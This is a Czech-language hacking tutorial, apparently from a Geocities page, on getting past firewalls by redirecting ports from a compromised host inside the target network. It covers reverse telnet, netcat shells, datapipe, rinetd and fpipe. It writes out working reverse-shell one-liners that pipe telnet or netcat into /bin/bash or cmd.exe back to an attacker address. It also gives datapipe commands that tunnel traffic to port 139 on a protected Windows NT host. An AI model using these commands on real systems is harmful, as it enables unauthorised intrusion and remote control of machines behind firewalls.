Techniky pruniku firewallem - presmerovani portu [potreba znalosti TCP/IP, sitovani, UNIXu, ACL] ================================================ Predmluva ========= V nektery pripadech, mohou paketove filtry blokovat vsechny pakety s vyjimkou paketu urcitych siti nebo systemu. V techto pripadech lze ohrozit klicovy system nebo sit, ktery/a ma pristup za firewall, pouzitim presmerovani portu k exploitnuti duveryhodneho firewallu. Tento by mohl forwardovat pakety na urceny cil do chranene oblasti. Presmerovani zaciname na vlastnim systemu smerem k systemu s pristupem do cilove site. Rovnez lze zpachat presmerovani v srdci ciloveho systemu - v nasem scenari - reversnim telnetem. Reversni telnet =============== Jednou ze slavnych technik nebo metod presmerovani je spusteni telnet demona, nachazejiciho se na beznych UNIXovych distribucich. Tato technika je zplozena z kompromitovaneho systemu uvnitr cilove site. Reversni telnet je jednoduchy z nekolika duvodu: presmerovani je temer okamzite a upload souboru neni nezbytny. Technika "reversni telnet" je nazyvana pro pouziti telnetu pripojeneho na naslouchajici netcat windows a pote naladovani prikazu z jednoho okna do reversniho toku telnetu, zaslanim vystupu do dalsiho okna. Reversni telnet je nejprve proveden spustenim dvou netcat[naslouchajici] na stanici, pouzitim dvou rozdilnych prikazovych radku: C:\> nc -vv -l -p 80 E:\> nc -vv -l -p 25 Dale pouzijeme UNIX prikaz na cilovy system, pro uchopeni vstupu z portu 25 a prepajpovat ho na vzdaleny shell k vykonani prikazu. Pak pajpnem vystup zpet na nas port 80. [root@localhost]# sleep 10000 | telnet 10.10.1.1 80 | /bin/bash | telnet 10.10.1.1 25 NetCat Shells ============= Jestlize mate schopnost a cas na upload souboru do ciloveho systemu, pak muzeme provest metodu podobnou reversnimu telnetu. C:\> nc 10.10.1.1 80 | cmd.exe | nc 10.10.1.1 25 Jestlize pocitac 10.10.1.1 ma netcat naslouchajiciho na TCP 80 a 25, spravne konfigurovany pro TCP 80 ktery je prichozi a TCP 25 odchozi mezi kompromitovanym systemem, pak nam tento prikaz hodi vzdaleny shell. Datapipe ======== Nastaveni 3 shellu netcatem muze byt rozcilujici a dlouhodobe. Existuje nekolik utilit, ktere tuto techniku delaji jednodussi, zvlaste u presmerovani portu. Nastroj dostupny na UNIXovych systemech, docela popularni a velmi casto pouzivany - datapipe. Datapipe je mozne ziskat na packetstorm. Ze zacatku se muze datapipe zdat znervoznujici - musi bezet na obou koncich utoku - nas system a hostitel za firewallem. Priklad: utocime na WinNT, ktere jsou chranene firewallem, jez ma povolene vysoke porty. Jestlize je system na siti za firewallem kompromitovan, pouzitim datapajpy muzeme nastavit port presmerovany na kompromitovany system, naslouchajiciho na portu 65000 [tento je povolen firewallem] a forwardujeme ho na port 139[WinNT, 10.10.1.12], nasledujicim prikazem. datapipe 65000 139 10.10.1.12 Redirector system musi byt nastaven na naslouchani na jakemkoli danem portu a pak presmerovan na port 65000 ke kompromitovanemu hostiteli[10.10.1.7]. datapipe 139 65000 10.10.1.7 Pokud se toto podari, pak muzeme zasilat pakety jak na nas system tak je presmerovat na hostitele cilove site. Presmerovaci system presmeruje pakety na vysoke porty, v nasem scenari je to 65000, ktere nejsou filtrovane firewallem. Kompromitovany hostitel tyto pakety prijme a presmeruje je na port 139 cilovych WinNT. rinetd ====== Tez znam jako 'server internetoveho presmerovani' nebo 'reversni demon'. Psanej Thomasem Boutellem. Presmerovani TCP spojeni z jedne IP adresy a portu na dalsi. Existuje tedy jakasi podoba mezi jeho funkcemi a datapajpami. "rinetd" je single-process server, ktery handluje s libovolnym mnozstvi spojeni na adresy/port[dvojice specifikovane v /etc/rinetd.conf]. rinetd bezi jako jeden proces, neblokujici I/O, schopny presmerovat velike mnozstvi spojeni bez nejakeho dopadu na pocitac. To je velmi prakticke pro spusteni TCP sluzby na pocitaci schovanym za firewallem s IP maskaradou. rinetd presmeruje pouze ta spojeni, ktera pozaduji nejaky socket, tak vylucuje FTP. FTP nemuze byt presmerovan, protoze vyzaduje vice jak jedno spojeni. rinetd pouziva velmi jednoduchou syntaxi, ktera je vstupem do jeho konfiguraku; /etc/rinetd.conf[*NIX systemy]. Syntaxe je nasledujici: 10.10.1.17 23 10.1.1.3 23 Toto pravidlo vlozene dokonfiguraku umozni presmerovat vsechna spojeni na port 23 z adresy 10.10.1.17[cokoliv ze skutecne na virtualni interface], skrz rinetd a pak do portu 23 na 10.1.1.3 -> ta muze byt uvnitr firewallu, ktery ma zablokovany routovani do sveta. Spusteni rinetd zpusobime prikazem: [root@localhost]# rinetd -c config_file Prepinacem -c zpusobime nacteni konfiguraku. Stejne jako datapipe, muze rinetd exploitnout nekonfigurovatelne ACL firewallu. fpipe ===== FPipe je forwarder/redirector zdrojoveho TCP portu. Muze vytvorit tok dat TCP se zdrojovym portem dle prani. Je to nejvice hodnotny nastroj pro wokna, zalozeny na UNIXovy datapajpe. Vratme se k casti 1, kde vidime, ze zdrojove porty jsou velkou nejistotou firewallu. Pouze port redirector, ktery je znamy bajndovanim na staticky port pro obchazeni firewallu pro wokna, je fpipe. Je velmi pouzivany pro obchazeni firewallu nebo routeru, ktery ridi provoz se zdrojovym, urcitym portem, nariklad port TCP 25, na kterym jede mail server. Defaultne vybere velmi vysoky zdrojovy port pro klientovo spojeni a pouzitim stejnych pravidel ktere vetsina firewallu ma[povoluji pruchod skrz filtr pres velmi vysoke porty]. Dokonce, pokud firewall povoluje pouze port UDP 53[DNS], fpipe muze prinutit teci data pres zdrojovy port 53. Proto firewall bude potvrzovat, ze tok pochazi z povoleneho zdrojoveho portu a povoli tedy tento tok skrze nej. Ilustrace spojeni ================= lokalni_stroj <-------> FPipe_server <-------> vzdalena_masina
Hosted by www.Geocities.ws